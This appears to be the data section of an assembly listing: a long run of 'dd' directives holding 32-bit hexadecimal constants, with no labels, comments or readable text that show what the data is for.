dd 6A317DF8h, 8732279h, 5705C5B9h, 19497800h, 97DF454Fh
dd 2C9DF4F6h, 1F0CD437h, 71596CD0h, 40222DFFh, 1A9E59A0h
dd 85F667EBh, 0D47239CDh, 479E82ECh, 0ACB9237Eh, 0D91B1F74h
dd 829859EEh, 7D91FEC6h, 0FBA5BF49h, 0F6028F31h, 0E8AE33F9h
dd 0DB7DB6Dh, 2B1C9507h, 7524D362h, 9514D098h, 8C2FAA1Ah
dd 0B42135F0h, 7B409ECDh, 56ED1CC5h, 0B67B8E6Ch, 17B74DA3h
dd 0C3BB87E4h, 66E327D1h, 87CF8AD0h, 0AF39F422h, 9585C6F1h
dd 45132C87h, 8C9F5750h, 0C0EBFA38h, 7CD59835h, 0AFC461C6h
dd 3E275A12h, 8F6C77DEh, 0ED3674A3h, 7FDAD0C7h, 8E01501Ah
dd 2F8A4118h, 0AAD48754h, 95D30F8h, 9A343051h, 73C09AFEh
dd 1401173Ah, 2A43C099h, 43C12FC3h, 95965397h, 51F22F56h
dd 9ECD634h, 0FCA3D637h, 8CB61B5Ah, 124F7033h, 0C7A95A65h
dd 75126E52h, 124A705h, 191A7B83h, 57C8C454h, 2B8EE9D0h
dd 8115EED4h, 0E386B65Fh, 2C351F2Ah, 1B19421Ah, 0E67B2CF5h
dd 73A92560h, 0B18DD30Ch, 792F1A1Ch, 0CE54B9C5h, 0A15C4986h
dd 442EFAB8h, 0C83D93F8h, 8C2515B5h, 2B987A59h, 488C70F8h
dd 3549A699h, 1566FF68h, 0E4356B02h, 9A25C779h, 8E8206E3h
dd 9FFC8723h, 0D095E658h, 3F6275F9h, 0A6C57231h, 77ACBE78h
dd 0ED3D98A5h, 0BA4AB82Ch, 552B41A0h, 0EED0690Fh, 0AC7F6FC9h
dd 80BE8D08h, 0DF92CEECh, 47895F6Dh, 4269C5EDh, 0E821783Dh
dd 4F18392h, 15697142h, 78321FC0h, 72143942h, 0DB16431Bh
dd 85473980h, 4A62B6B7h, 3EEE6142h, 78169E5Bh, 0E8F5B8D8h
dd 4742DBB5h, 12846877h, 74C6CB7h, 58C0E5BFh, 745177Eh
dd 0DC5FF464h, 0E5F1875h, 0ED779273h, 3116C7CCh, 6044550Dh
dd 6715EDE2h, 0EB1D673Ah, 5CCA2685h, 62DE210Ah, 0A827F407h
dd 6FA44540h, 878A5D11h, 3C1FCE14h, 74447FFBh, 558D016Fh
dd 1DEC0552h, 14B9AD73h, 0CB4A28Ah, 0D38995BDh, 0A921A7C2h
dd 0CC5F428Ah, 935974B1h, 43B57912h, 0E9E4338Ah, 0E1F1004h
dd 0C0B5172Eh, 44C51F9h, 237FDDDDh, 0B4D5EF93h, 297FD8CEh
dd 6C4722C1h, 0F827EBFh, 0A4B15106h, 3F629504h, 0F94F3481h
dd 0E227AC16h, 0E7CF7B43h, 0E6751585h, 7F3A6E9Bh, 9E5538A1h
dd 2193B07Bh, 9C9147DAh
dd 3FA3FDDFh, 6E6C64E5h, 0E83F3AA4h, 3C8BEC87h, 0E196C317h
dd 1D1FCD64h, 3ED231F2h, 28DDF7C6h, 0DD52CB06h, 0A5371045h
dd 0DBB81E3Eh, 0C193B8A0h, 0CEF75C82h, 4B61228Bh, 83A83968h
dd 5B1CDEEAh, 91035510h, 2F095C81h, 3F6D7ABBh, 0DFF0CB0h
dd 0BB0DD841h, 129CF4C5h, 188B6C56h, 0FE80B5ECh, 369B9D6h
dd 862240F8h, 0BECE10FEh, 0B72A6C54h, 94A299E6h, 1DBD1C82h
dd 0E65856E2h, 0C2DF7860h, 72D041BFh, 621E10E1h, 300C0BC4h
dd 0C370C2A1h, 0C8EAF0C9h, 0CEBE49D7h, 0AC9534F1h, 7C9D6F5Ch
dd 9AA44EB8h, 0F317CB4h, 2261BC18h, 499EB417h, 0FB534257h
dd 279A89CFh, 0A0BDD32Ah, 2407B42Bh, 7A78CE8Ah, 9E030191h
dd 0B41948CDh, 0D76E1859h, 90EE5031h, 8E7EFC85h, 0CE38D959h
dd 20098983h, 0C5472352h, 0E8D4DAF7h, 0B2E4DD54h, 50A61754h
dd 838B1A97h, 79A908B0h, 9067F0E9h, 0CD0B6006h, 0D71F68B3h
dd 0B121D725h, 10D6D432h, 0D9B69812h, 34C235DEh, 63B6E720h
dd 0F2EFC819h, 0D2B9DCBFh, 7EC3CFABh, 27515F93h, 7DAC427Ch
dd 0AC556D39h, 4A27AFD8h, 0DBC88125h, 406080E6h, 2D30A714h
dd 0B7D78BCh, 9B6C82C3h, 83471B91h, 0C6B3791Fh, 0EE2DC8C2h
dd 9DF1512Ch, 0E85868C5h, 91490007h, 47A4960Fh, 224B65Bh
dd 2586548Dh, 46E9A584h, 7EC56F5h, 9D02C2C7h, 702C5E1Bh
dd 110C84CCh, 0AA59A077h, 4546463Eh, 0FDDBF155h, 0C82A2391h
dd 756C2EEh, 216E0053h, 2FA6ACh, 3842624h, 0DE18A86Eh
dd 0D1DE77E6h, 1BA2E297h, 0B5A24DBEh, 7F75A1Dh, 0F9C41D2h
dd 3F7FED4Bh, 492AC721h, 0F78A619Fh, 934E5F7Ah, 0F71664Ch
dd 4C14CBAEh, 49313C42h, 0AA54ADE7h, 0EB1926F1h, 73D8BCAFh
dd 138A4DA2h, 6D6622A6h, 6D70C4FEh, 0E14A8AA9h, 0B25B5DF3h
dd 0DDD881FEh, 2068435h, 953ED9BEh, 0B9550FD2h, 280AA5CBh
dd 9E438963h, 0C897AAFDh, 0D19D615Dh, 6FF7EDE6h, 4E859860h
dd 0E7018B30h, 0F506ED53h, 9E5C2ACFh, 22CA021Ch, 0F058DC6Ch
dd 0FEC85FD3h, 4B345C77h, 4AEC5973h, 7A5B2946h, 0C4C4473Bh
dd 74151990h, 0CA93FDB5h, 851183F2h, 4E2E2EF9h, 0B0F9B569h
dd 7426B596h, 9C116C06h, 0ACC78EC4h, 6DCB744h, 16303F7h
dd 0CAA60898h, 91A7D514h, 0A62716E2h, 0B10B6526h, 0A08E3035h
dd 20CAF24Eh, 2F8EEF7Ch, 91A733CEh, 0A56E874Eh, 90DE908Fh
dd 3636D151h, 0B3915EC2h, 0D923E7ABh, 0B6D0AD40h, 146F15D2h
dd 1601BFF8h, 0C00763DFh, 8899C256h, 74F00E97h, 0CC8D397Dh
dd 2B2918ECh, 1BFA64A2h, 16FE6556h, 0EC54F31Fh, 18CB24F2h
dd 373AC944h, 65B0B076h, 21830634h, 158CF2E5h, 8041340Dh
dd 5934866Fh, 0F4DDBC31h, 315E080Ah, 0CBD6F9E0h, 4B2D32B0h
dd 0C64EB99Fh, 0E97A5810h, 0B0C244BCh, 6CFC49F6h, 0EC9C9785h
dd 270F55C6h, 3C48BE1h, 1BE5E4A7h, 0D2F958DBh, 0C64EC235h
dd 14A39F4Ah, 0E2F47808h, 0C308D618h, 0E888994Eh, 6305BA7Ch
dd 0CCFF7770h, 0C0E40870h, 4D0DBE74h, 0C72E7A38h, 2E5E755Eh
dd 54470634h, 0E0EF90C7h, 9EA652DFh, 0F2BDCB1Dh, 7B9925A9h
dd 0DBF1991Ah, 0B0EFC506h, 0CE5944C9h, 0EFF14AC9h, 0BA4419C8h
dd 6FFB7EFEh, 455413C8h, 4A98645Ah, 0B1C78A2Eh, 0A01BC8B8h
dd 0ED735B0Dh, 233EA31Dh, 0E59FBB68h, 36D13B7Ah, 608453BFh
dd 0BA0E45A7h, 9A88DE00h, 7A7CD1F9h, 0D277419Eh, 6945B1AAh
dd 0F4621FA9h, 0C1620FCEh, 71305662h, 25A1036Bh, 43E35812h
dd 0A144A010h, 5935C4Bh, 13B5A920h, 888D5ECCh, 0C08B12BCh
dd 0DA44EB77h, 0DB044528h, 35E7D709h, 14E6C22h, 0CD8CB640h
dd 2E04DEA9h, 0EFB77E54h, 0B53B5C93h, 16CD040Ch, 677989B3h
dd 7D3E839Bh, 0D72F43D9h, 40A69EBBh, 0D8CFA295h, 656903E1h
dd 64152E0Eh, 0AA6D70CEh, 4F9F102Ah, 0B13D022h, 0DE8A16BBh
dd 0BCFE175Fh, 12AAA169h, 3F2BF3BDh, 57BB0BA5h, 78F3B8F9h
dd 36AE671Bh, 6F8D3224h, 532F3AA3h, 820767F5h, 4FF3DB68h
dd 9C0C7674h, 0EFE9CCAFh, 532826CCh, 0FAA78667h, 52EC27B9h
dd 0BF482C57h, 100B6B4Ch, 0A0D9EF21h, 2B7AAA6h, 0D11449D6h
dd 0EB224C1h, 33E174F7h, 0FF6EA782h, 270E8F19h, 4F98690Dh
dd 0D29C4C0Bh, 1B508A25h, 0E4FF8BA9h, 7694E2A1h, 91103B0Ah
dd 190AECC0h, 1CBDC267h, 0F0A89FBh, 0C568F123h, 3000DDA0h
dd 2229C7BEh, 5E11BC3Ah, 64EB2ECh, 22C16D2Fh, 0AB99BDFh
dd 0F1BDBC52h, 4A934157h, 25B2737h, 965C592Ch, 9FC593C7h
dd 8F25CB91h, 0BB37B8h, 9443EED3h, 71A86837h, 631170CBh
dd 4435B812h, 0FCD61Eh, 0AF870019h, 996150D8h, 77AE3D43h
dd 926FF266h, 79851AE4h, 5E514ECCh, 0C33F2CAh, 57A7E91Fh
dd 0F2B6656Dh, 0B3A7CA2Dh, 5E3B9EF6h, 1F7BF7A4h, 0EEE7400Dh
dd 61542813h, 0C610A19Eh, 0A603970Fh, 0EC87E408h, 99C20682h
dd 3499C1B9h, 0BFA3AF1Bh, 0F70DFDF5h, 6096D79Ch, 519FC8F4h
dd 3A7A8415h, 3AA4C39Eh, 5DA75B8Bh, 55566646h, 387D21C2h
dd 0EF0B938Dh, 30A9A28Ah, 0C5437CBAh, 2D0471A5h, 250CBD82h
dd 28B0FC35h, 72BAFD09h, 75FCB30Ch, 0EFA53947h, 0E5C69695h
dd 2E0BB615h, 0BC15C85Bh, 0FA3F58E5h, 242DD86Fh, 621F29B5h
dd 0FFD325A6h, 0B808CD92h, 25DF6F00h, 1F2D3BFCh, 1DFF307Dh
dd 5576F5F2h, 0BFC480Dh, 6713E61Ah, 9B52F77Dh, 9ACF81Bh
dd 0E41CDB1Eh, 576CD92Dh, 57D873D1h, 76AAC50Fh, 0DE10A498h
dd 0CD9F99DAh, 535B5FFBh, 0ADA78BABh, 82A288E4h, 4E961ED0h
dd 84D7E740h, 80AC8E5Bh, 98D63C3Dh, 1DAF5BEh, 57C980DAh
dd 0E991702Ch, 0E40261A2h, 4136A006h, 606AA28Bh, 0AB4BA723h
dd 0FF214F0Ah, 0BD037FCDh, 60DF5271h, 0D513898Bh, 50D6DE8h
dd 9EE5A076h, 0E4700E02h, 4E20CBFEh, 0B60C912Dh, 0BA4ED351h
dd 5C28E10Fh, 4E26A7EFh, 8F07919Fh, 2F033648h, 1A326E65h
dd 0FFF5371Fh, 0FD67724Eh, 6F5AA1DBh, 5FA1F5FFh, 93029FEh
dd 91ED7177h, 12641AB7h, 243CEF1Bh, 0EFB580B6h, 69289296h
dd 5CEAAB26h, 0A81292DFh, 0C986385Fh, 0F77B26Ah, 0E8FBA8FFh
dd 896B706Fh, 88639CFAh, 0B9B1C09Bh, 2B19696Dh, 0FE525666h
dd 0A1F3E059h, 0DF2D8524h, 329D3F46h, 0FD97C7B1h, 5988BFB6h
dd 0DE5DF54Ah, 27ABC044h, 0EB73AB30h, 4D1B2191h, 0E91F14AAh
dd 732F5932h, 0DFAEA09Ch, 9C74869Eh, 0DA3A6729h, 38D91C88h
dd 0AAA1842Dh, 0C559D592h, 77E81A6Dh, 2CDBB0E5h, 9090734Bh
dd 5DF87454h, 9FF414DAh, 7362F686h, 974F313h, 5BB3DC15h
dd 0A79233FBh, 0C4AA937Eh, 7ECD89FEh, 2910E253h, 344AB0BDh
dd 0BAEA191Dh, 0DAAD9909h, 979338DEh, 8E98E121h, 0FDD804BDh
dd 0B9530C21h, 0E71528E4h, 0CC5CD69Ch, 6467396Ch, 2A64935Eh
dd 8F8341FDh, 0BF70355Bh, 0DE75FEE0h, 5E342E77h, 47256771h
dd 0DABDE298h, 0E43E3669h, 6443B69Eh, 38819B0h, 4D498A6Ch
dd 184134EBh, 63534358h, 41A35847h, 115CD02Ah, 63D9E9E1h
dd 7E5C6857h, 84ED955Ah, 0F5762C7Bh, 801C5DF3h, 20625318h
dd 0EA329CD3h, 64DE5DD3h, 0CB98950Ch, 563F47Ah, 0EDE80ED1h
dd 4D6EAEA2h, 0F4B3ACF1h, 0B4381C0Bh, 0D1C15B52h, 9BB93FEDh
dd 56DB0E46h, 0FF88DF2Dh, 0A27F69A0h, 0F795B9FAh, 0EA05C3A2h
dd 7C6DA3ECh, 7744264Fh, 9DACE13Ch, 0B1AC412h, 3C1AC654h
dd 650F242Ch, 0D3B1D50Dh, 76582008h, 0B4FBAF26h, 0F9795AC8h
dd 0AD8F463Fh, 1CD7FA6h
dd 0DB2E8690h, 0AB7C9539h, 1ADDBED7h, 341813AFh, 0B29D9659h
dd 72520708h, 0A3D06E3Bh, 1C21DD9h, 0A5E8D707h, 87D008F3h
dd 792EF715h, 0BFF3DBAAh, 299193A3h, 90ACE600h, 0E27B58BEh
dd 595B52ECh, 0CCE34F26h, 70B2C057h, 0CBFD170Eh, 5BBF1F44h
dd 4E6C6AACh, 0B9FF0871h, 44CD4DF9h, 1383412Fh, 0C2EA1C16h
dd 0DDF61D2Dh, 258694FEh, 0E1AA5342h, 8F1692FCh, 6B4704B9h
dd 0CA85D411h, 795BC3EFh, 725F89D6h, 93D86E5Ah, 0A35828ABh
dd 0E1EA127Eh, 0F3B76475h, 0C7A857B5h, 0BFD2C59h, 0FF47608Fh
dd 2605BB7Bh, 4C4BE713h, 2B5AEA1Fh, 0DAACFDF7h, 61B41320h
dd 65DF2A94h, 17404CE1h, 13F9C8D4h, 0BAA4F525h, 5BE4D971h
dd 43F38AA8h, 5111DC84h, 2C91E860h, 0D5D3B1AFh, 0DCC109DCh
dd 7B233D6Ch, 0DD505579h, 0B697A7C5h, 5DDBDAFEh, 0CA8DA451h
dd 8FB6B0CCh, 0E23D88BDh, 2EF83536h, 1494C717h, 0D35FAFA6h
dd 65A05D35h, 981869F9h, 3FBD8790h, 0B4DBEB48h, 647BA748h
dd 0E34F9FCEh, 23BFE961h, 0A61C551Ch, 0D267C0B6h, 92310DA1h
dd 0FCF46848h, 8802C556h, 8A06C879h, 265693CAh, 8919A125h
dd 39436CECh, 546EEABFh, 4B033F20h, 2DCA559Dh, 0C59E3F22h
dd 8E19F201h, 13272F19h, 1DC2102Bh, 72892970h, 32DA119Eh
dd 0E82433A0h, 0DA58F47Ah, 759A3244h, 15981EBAh, 7984976Ah
dd 0AD73B7B4h, 267C9CE8h, 0CF57C75Bh, 0AAEF0988h, 0C7C33032h
dd 0F564E782h, 401E823Ah, 789FBD4Ch, 0B896895Ch, 8ABE31D5h
dd 0C8ABDAAh, 96C820CDh, 565F9208h, 0C3536744h, 0EDDD848Fh
dd 0A23DE244h, 7EC8054Bh, 4C14DFD8h, 35B54F9Bh, 0ABDC29D7h
dd 773DF13h, 9C1F88F5h, 0D8CEFED2h, 0C2E86866h, 0DB6D0AE8h
dd 294BD671h, 5DEDF942h, 5A3D2761h, 985B769h, 0EAEC32DDh
dd 5A10DB1Eh, 2DA040DFh, 362FB5CEh, 70111822h, 0E80F04E4h
dd 0C10A0D8Eh, 2EE9E42Fh, 0A11EACBCh, 0A076B303h, 6793390Eh
dd 20C944EAh, 8765FC93h, 4D73F4D7h, 0F614065Ch, 16804D46h
dd 1ABD4652h, 9C476F96h, 0B54C4361h, 0BDC78F11h, 7810E6CDh
dd 0E29F032h, 5C190812h, 68B34AB8h, 0C8E0B6ADh, 0CCBEA631h
dd 0BF406CA5h, 0EB8ADC4Dh, 0C2BB5AA3h, 2709E29Bh, 3434837Eh
dd 0B2B90AB1h, 30874ECAh, 25D3A89Fh, 2673BDh, 0FFC77954h
dd 0F0DBA7FFh, 0FDDC1844h, 69F222C8h, 969B6BCAh, 0BC7DF7BBh
dd 45C9ADAAh, 2BC81E87h, 8F36D26Dh, 180CE84Fh, 261491EDh
dd 91584D0Fh, 28EA1191h, 0D7627CEEh, 600FF786h, 0D5A6D7ADh
dd 40D88D91h, 94413410h, 0D1AFE743h, 0A4B42BDFh, 0F130CF37h
dd 0A81511FBh, 2DBE0209h, 289323E0h, 1FCB1E47h, 0BF86B446h
dd 0CDC7BE2Eh, 26117034h, 0A6B67FFFh, 0C119104Bh, 28023E75h
dd 557DE533h, 0D30A7A2Dh, 65ED876Dh, 0B828E751h, 9397BEF2h
dd 80A8715Ch, 413E9140h, 82A5D59Eh, 0C1E936F2h, 0E45AC7C6h
dd 0C43BE90Bh, 857D26D1h, 605B0E4Ah, 8459F82h, 8A3E1B1Bh
dd 1AA6E071h, 68D5D976h, 7377673Bh, 0E6C32D8Eh, 96492A78h
dd 642A8A56h, 855E1BE1h, 8B8E9847h, 7B390972h, 0AD6C03E0h
dd 34AC2F53h, 0CE32FF9Eh, 5B6E49AFh, 0D6F44B9Eh, 73431E27h
dd 0DDDA4680h, 796BB9B7h, 9D4DC390h, 1340892Eh, 5703DD54h
dd 61ADE932h, 8F72048h, 0B675F60Bh, 3FD5DA67h, 7B95A721h
dd 254DC663h, 4D2186C2h, 0BB14C699h, 0BAED8F01h, 0CA2304A5h
dd 0A0B2BBC4h, 3038D9EAh, 554CCF40h, 10521D28h, 0B26AD4DDh
dd 103F59C2h, 80F7D371h, 6D39E798h, 0D2ABF1D7h, 0DEC3D32Eh
dd 0A25CBE9Fh, 0C78EDA7h, 1A5EC330h, 7B0B9B45h, 9A1BB7A8h
dd 88EBF1D9h, 6A03444Eh, 0BAB02363h, 0E41D566Ch, 43AC71A5h
dd 0FC31C207h, 4A04CDA8h, 84FFEB52h, 0AF7C45E9h, 1016DACBh
dd 1102CD1Fh, 96C73AC6h, 7E8AB643h, 1C061BF6h, 41277321h
dd 0DCF84090h, 0FB43C6BBh, 0D98902E5h, 8C58AA6Bh, 0BD4A4B64h
dd 9A7A82BEh, 5AF2A900h, 0CE56D4ADh, 0AF78BB98h, 8A6C00A6h
dd 92805201h, 2EBC9C3h, 55454B35h, 0FC82589h, 79A7F060h
dd 86492D5Bh, 22B47802h, 476962E1h, 0BA164923h, 0B5CDB973h
dd 0D305D64Fh, 0D6EC0917h, 72EC8B46h, 0F0C987A8h, 66D596CBh
dd 9ACA7E0h, 20F3AA00h, 5EF59074h, 16E21BC5h, 616F2315h
dd 7F4470F4h, 974DFCEBh, 6F3F7182h, 52431DA6h, 1A7C2DFBh
dd 3A30CBD0h, 0D198DDB7h, 0AA3A4D8Eh, 2DAA3F37h, 685B1169h
dd 87DEDC5Ah, 71782755h, 30C6810Ch, 0BCD38243h, 2D0197AEh
dd 0E283350Fh, 0DC1B2D8h, 9C58427Ah, 65FE2ACCh, 755C53C7h
dd 200FBFCAh, 1BF2D575h, 570D93A4h, 0E8DE7B26h, 0AB96D02Fh
dd 7138E96Ch, 0ECB7B148h, 0FB8BBD21h, 0AE25F911h, 679BAB1Fh
dd 0AF48728Ch, 0BCD4F172h, 0B20F056h, 3A5F806Ah, 27138855h
dd 0ED2CF3D1h, 0F3E95F06h, 0A0097831h, 54AA0538h, 9BC7B302h
dd 229760CEh, 9E2C23FAh, 53CAEAD9h, 0ABE16A5Dh, 3C42E54Ch
dd 98B76EAEh, 0BFB91930h, 41E9C3D8h, 382AE4Ch, 8B89E0DEh
dd 971DFCB1h, 7801ABA9h, 1BD2C127h, 2CAD362Bh, 7E402B56h
dd 0B9C8A46h, 0AAF152Ch, 0ADA7E4A6h, 8CC183Ch, 0E7E70A28h
dd 0F731FA1Ch, 0CF1DAEA2h, 0BA339FBCh, 4D3E94F1h, 0E22CE8B0h
dd 559EF654h, 21A56B06h, 0A83FE6A2h, 636C616Fh, 0B61F76ADh
dd 373AA061h, 0F9725DD7h, 0FC66DCB7h, 0E8CFD5FCh, 22CFC04Ch
dd 186E7461h, 6FF2285Ch, 0C39129Dh, 3AB637B7h, 0E5E4A8FCh
dd 0B48C356Fh, 0FE51236Ch, 0A110C912h, 0A75C638Eh, 6BB30ACAh
dd 683D67FDh, 216924B1h, 0C27531DEh, 0B88C4940h, 0FF67BE01h
dd 794AB4B3h, 0E5567511h, 0A015D7F7h, 2EC1DCA7h, 3E2CE1C6h
dd 73696809h, 0C46119E3h, 7AAF34EAh, 0D7D652CBh, 41932130h
dd 1FA611E5h, 1A8AC30Ah, 0C06EA740h, 774092F3h, 0BE74FCEh
dd 185B649Ch, 1A2CA1E2h, 0B1F30E61h, 5777EBB8h, 363EDAB3h
dd 0BB0608D0h, 0E4B68345h, 5282D600h, 18FDD977h, 0BC0110EEh
dd 65E18BA8h, 11AF18B4h, 9C6DB73Ch, 0D340EC1Eh, 7E8EE5ECh
dd 40F0F6B7h, 24DC647h, 24A7B23Ah, 239BBC4Ah, 0E1FA73BEh
dd 5E581F97h, 83E92355h, 908211AEh, 0DFCFF431h, 21EA4AABh
dd 6A19D1B8h, 88D1EE54h, 0FE31C77Bh, 0FDE91BF5h, 0A433E573h
dd 5AF09829h, 9BADAA49h, 8E2D858h, 0D2DE361Ch, 0FFD4B3A8h
dd 120562D6h, 2451AFC1h, 1ECE0AA0h, 0BF03FAD4h, 0E1A07507h
dd 1E8E4D24h, 0DE639207h, 0BD9992D7h, 4B36C5F3h, 0B03843B6h
dd 0B90FF5D2h, 0C6619513h, 1E6B1F84h, 8A596404h, 0FB98AD1Fh
dd 9DE9E797h, 0CE46AB98h, 8DCEFDF5h, 993448EAh, 963C8A6Bh
dd 0EE9EFF3Eh, 1ED38416h, 0F332713Eh, 0FC12214Dh, 0ABDA4CABh
dd 0F1240AEEh, 7E141A42h, 2785528Fh, 0DED62CCCh, 48BDA31Fh
dd 0EE230EB1h, 53FEB148h, 8416CBFCh, 5E8887BBh, 4F1817F9h
dd 0B3D836F6h, 432030ADh, 551C6BDEh, 0C7714ABBh, 0E5C9B8C8h
dd 0C4DE4195h, 0B00683DCh, 0CB905DF4h, 7B1F07F8h, 648E81CDh
dd 0CD88AF95h, 7160596Ah, 0E5F30AF5h, 0A3B12CE6h, 0B88F53F9h
dd 1939DA3Dh, 0D226E8BCh, 466F2B7Ch, 64E2B3EFh, 1FFBA730h
dd 98614DCDh, 0B05E3B41h, 9745AA4Eh, 0DCEEECDBh, 92EA7BB7h
dd 0E51B99E0h, 2DE81672h, 729E2399h, 0EA7D3FBCh, 82BB0907h
dd 2C311FA1h, 0BBB93248h, 0BC3C19E7h, 0D7C3D4Ah, 73DDE6Dh
dd 6B5CF44Ah, 53923554h, 0CADD8710h, 2568AEACh, 0FC1C97B5h
dd 0FE86BC58h, 0DC6A95F5h
dd 33D5749Eh, 0D1968601h, 10E99A73h, 9A6218EBh, 0A1C09A84h
dd 5765B5D0h, 10093F15h, 20E2143Bh, 0A6A971B4h, 830EBFAEh
dd 0AA3938D2h, 3582BCF6h, 0DF60B359h, 0F9CC427Fh, 3AFFFE36h
dd 7D6C9CFAh, 4D49D1D3h, 411F6B3Ah, 62666431h, 5A41F534h
dd 7C474510h, 0C196AD66h, 7276D8FBh, 68D2AEADh, 0B32D735Ch
dd 0B65AEDA9h, 0F69B13A8h, 0F0C7F3CCh, 0E62126h, 0BBBECF8h
dd 0E6E9C5BEh, 0AACE190Dh, 6DCB6AAEh, 0A1C56183h, 0B5793528h
dd 0AD681DCDh, 6D5CDDA6h, 1C97BC48h, 6F4E355Eh, 33531811h
dd 0B3CA2453h, 0DAA5EE55h, 0AEAD1CC2h, 8A0A1F55h, 0EE9A18D3h
dd 2887783Ah, 0F6991AB7h, 4701276Bh, 0F3425A8Ch, 298B425Dh
dd 54AA3870h, 0DFFDFD56h, 46DA897Eh, 9C773A6Eh, 57BB825Ah
dd 2B503AA2h, 9357F523h, 21DC2F09h, 9F05C20Bh, 0ABBA9660h
dd 0EE415481h, 4908D806h, 8F093A9Dh, 33CFE601h, 6C38745Bh
dd 30C1241h, 29B2C3F4h, 780EB6EEh, 0E1B3E186h, 0EEC4FC60h
dd 806CDF71h, 554EC220h, 0EDDF060Ah, 58E486DFh, 0C62BA54h
dd 0F8BD22Bh, 0CBBF2BC6h, 1D29CD42h, 37E6F042h, 6AF7C261h
dd 0F2DE7960h, 95AC5D7Ah, 0D9C26CF1h, 0EC34658Ch, 715AFF7h
dd 9C42856h, 6BAD3D03h, 0A5DC679Ch, 0C2109EB6h, 0C87C6D6h
dd 307B6826h, 50088588h, 2248F13Bh, 0EC4FA728h, 0DE1707A7h
dd 5B7A591Dh, 82CD80h, 0F9603E70h, 7DDB305Eh, 94CC1F20h
dd 79735E11h, 6016FE01h, 0EFF513B9h, 3DF8BB61h, 39702F5Dh
dd 45E52E39h, 0CA13C110h, 12ACB97Ch, 0FE965CAAh, 7B125F18h
dd 0F1BA1124h, 152E2E7Ch, 8D644129h, 0AC4EC08Dh, 0CC252EE9h
dd 860A8894h, 0F6DD76B7h, 0B8308FA9h, 451663A4h, 0C7108CC0h
dd 28730AB6h, 73168780h, 69EB786Ch, 0D75BFCB4h, 3A28A02Fh
dd 0A4F3F062h, 2433AABEh, 0EBEC7B7Dh, 9DF9C117h, 0B78030Eh
dd 0D30598E4h, 0D7D08D48h, 21263C29h, 937BABC9h, 0B60491B3h
dd 60CC8648h, 0C94CC8F9h, 0D2BEEAA3h, 15142956h, 6E662F7h
dd 6790E5EDh, 24D5ADFDh, 0F27959F6h, 69C6F2Dh, 4FE6ED7h
dd 0AF84084Ah, 853257B9h, 0C7A67F30h, 0BEA599E2h, 2407B8D2h
dd 49FB0821h, 2CF3A1BCh, 2E1368FFh, 61C2FCAEh, 994C3A78h
dd 0FCB55FFCh, 9548C608h, 2575B2AAh, 51D26E3Eh, 52F40FB6h
dd 0BE5DD9E7h, 0C5CBB2C6h, 0C3116B9Eh, 0C85807FDh, 8541EB83h
dd 3F81822Ch, 1D42F9C7h, 98A86857h, 0A84F9837h, 0A095B0EEh
dd 5E9DDC14h, 0BF84BB07h, 96F8FB6Ah, 87F28468h, 805C320Fh
dd 9D1F4237h, 2FDCB96Eh, 3306790Eh, 0CE42DE10h, 8C3A467Eh
dd 0DAC0D003h, 0EF0DEC19h, 0CEDECABEh, 4F1A2F3Fh, 0AA0D8F11h
dd 40F7682Eh, 3E8ACB2Eh, 0BFF4E2EFh, 0FEDAEC19h, 0B6E38E3Ah
dd 0C32B0502h, 9D12DD88h, 9FFAE957h, 7602D764h, 4AE70147h
dd 0EA08AC63h, 0D0AFD013h, 72C38791h, 0FCC24D68h, 32D3CBh
dd 5B014B5Fh, 857EBBD6h, 0A724052h, 0E4AF5259h, 0E94C83A9h
dd 29865F2Dh, 7D18CBFFh, 6D24E9C5h, 0A060E6E9h, 0E02183AFh
dd 9E5F922Bh, 7A6F18BCh, 8EE07DD1h, 34056891h, 0ED262E44h
dd 6329459Eh, 0E547ECBAh, 8771A348h, 0E02AAF07h, 1A26A3EAh
dd 0C7BB85D4h, 7EFA8898h, 2E7485E3h, 0AEF53F96h, 2C61269h
dd 58D7B29Ch, 7E5CE1FAh, 0E34E6512h, 7CADCC55h, 0E077944Bh
dd 0B7ADFA15h, 6862E315h, 0F01B211Ch, 86D2CE44h, 0AB3697D7h
dd 81383A6Eh, 0CE4110BBh, 44D4AA33h, 0A622B402h, 9039682Bh
dd 5428105Dh, 69D6CE08h, 0E7117F03h, 858F893h, 1C6395C0h
dd 1571ED00h, 5616B970h, 0E0D0193Ch, 0BBA1E7A6h, 0D1DE1C1Ah
dd 7BA50D87h, 0D7FBE876h, 4132765h, 40AC45AAh, 0B933137Ch
dd 0B1393555h, 2E7D0869h, 1A1D7E5Bh, 876491C2h, 5DCA6569h
dd 8D492496h, 0D005555Eh, 9AE6DEEDh, 0B084E858h, 29B4C4BDh
dd 2DCA5899h, 3278EE1Ch, 0E968735h, 0F695AF13h, 2BDFAE29h
dd 7181B51Eh, 1D7B8932h, 385A8FD1h, 0A6D0CC80h, 3C1A506Eh
dd 0AF9F78BCh, 825957BDh, 528FA4A7h, 3D2C2F5Ch, 0BB399C52h
dd 39BF2CCBh, 0F992FFF4h, 0AAEA8B85h, 0AB4180CFh, 0FE085D3Eh
dd 6720414Fh, 8686CB79h, 0E1558876h, 49256640h, 4D1B45E5h
dd 7596DF8Bh, 0DEF8E1EAh, 0D014738Bh, 0BF34EA30h, 9B237D8Dh
dd 809933C8h, 846597E3h, 0C2687D48h, 0B57FA3E2h, 0EA774EA3h
dd 8805691h, 2FBB4922h, 0F649D502h, 9A05AFD1h, 0A82608FBh
dd 0EDA6FEC3h, 0B1F5A9BFh, 5A9FBD4Eh, 0E3B56C6Eh, 0DB051489h
dd 66DAAA6Ah, 16ED3482h, 0E94A7193h, 3B951848h, 0FB825A9Ah
dd 0F5B899F8h, 0AA08B30Ch, 5FD234A0h, 6E879CA9h, 8CD37400h
dd 8D731BF2h, 0CA81E5C2h, 547180E1h, 0A07F8C9h, 0EB9FC253h
dd 7285400Ch, 0C6A7F23h, 3FF6A1FBh, 9FBD3769h, 2A7A40D6h
dd 4CE3CA02h, 0A77806DFh, 7C6709C7h, 0AED90F70h, 0D0159FE6h
dd 0A8A7774Ah, 8DF55BABh, 0F0D1A63Eh, 39CA26A2h, 0A525B73Ch
dd 0BCF7C3EAh, 0F4D0DE8h, 0C3DFC765h, 5B45A0FFh, 8477B539h
dd 0C47804F1h, 0F81847B6h, 3BC3BCBDh, 0BDB63E60h, 8E2B253h
dd 5AFA9799h, 842E109Eh, 3E90C917h, 4A6C2134h, 0A65A310Bh
dd 6B2A19E7h, 0E199CAEEh, 69C74994h, 0FEEBD11Bh, 33B7EA44h
dd 0F39D4B7h, 56833BCCh, 0FF8F4405h, 0A26A57DDh, 8000005Eh
